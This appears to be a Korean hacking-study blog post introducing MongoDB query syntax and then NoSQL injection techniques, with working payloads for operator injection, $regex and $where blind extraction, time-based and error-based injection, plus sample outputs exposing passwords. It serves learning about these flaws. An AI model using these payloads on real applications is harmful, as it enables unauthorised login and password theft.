본문 바로가기
프로그래밍/해킹

MongoDB 기본 문법 & 취약점

by 만디기 2024. 7. 3.

1) MongoDB는 다음과 같은 특징을 가진다.

- 스키마 (Schema)가 존재하지 않아 각 테이블 (또는 Collection)에 특별한 정의를 하지 않아도 된다.

- JSON 형식으로 쿼리문을 작성할 수 있다.

- _id 필드가 기본키 (Primary Key) 역할을 한다.

 

2) MySQL vs MongoDB

1. MySQL
SELECT * FROM inventory WHERE status = "A" and qty < 30;

2. MongoDB
db.inventory.find( { $and: [ { status: "A" }, { qty: { $lt: 30 } } ] } )

 

3) 연산자

https://www.mongodb.com/ko-kr/docs/manual/reference/operator/

 

운영자 - MongoDB 매뉴얼 v7.0

MongoDB Atlas에서 지원되지 않는 연산자를 알아보려면 Atlas에서 지원되지 않는 명령어를 참조하세요.쿼리 및 투영 연산자쿼리 연산자는 데이터베이스 내에서 데이터를 찾는 방법을 제공하고 프로

www.mongodb.com

 

4) MongoDB Injection 취약점

- 이용자 입력값에 대한 타입을 검사하지 않으면 다양한 형태의 데이터를 전달할 수 있다.

- 연산자를 이용한 공격
http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]

- 쿼리 json 형식
{"uid": "admin", "upw": {"$ne": ""}}

 

5) MongoDB Blind Injection 취약점

- MongoDB Injeciton이 발생하더라도 쿼리의 실행 결과가 애플리케이션에 출력되지 않는 경우가 있다.

- 이러한 경우 Blind SQL Injection과 같이 MongoDB Blind Injection을 사용해 데이터베이스 정보를 획득할 수 있다.

1. regex를 이용한 공격
> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }


2. where 연산자 
> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

※ uid 등의 필드 안에서 사용하는 것은 불가능하다.
> db.user.find({uid:{$where:"return 1==1"}})
error: {
	"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
	"code" : 17287
}


3. substring을 이용한 Blind Injection
> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }


4. Time Based Injection
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.


5. Error Based Injection
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
	"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
	"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음

 

'프로그래밍 > 해킹' 카테고리의 다른 글

CouchDB & 관련 공격  (0) 2024.07.03
Redis 중복 키 사용 관련 공격  (0) 2024.07.03
Exercise: SQL Injection Bypass WAF  (0) 2024.07.02
Bypass WAF  (0) 2024.07.02
DBMS Fingerprinting  (0) 2024.07.01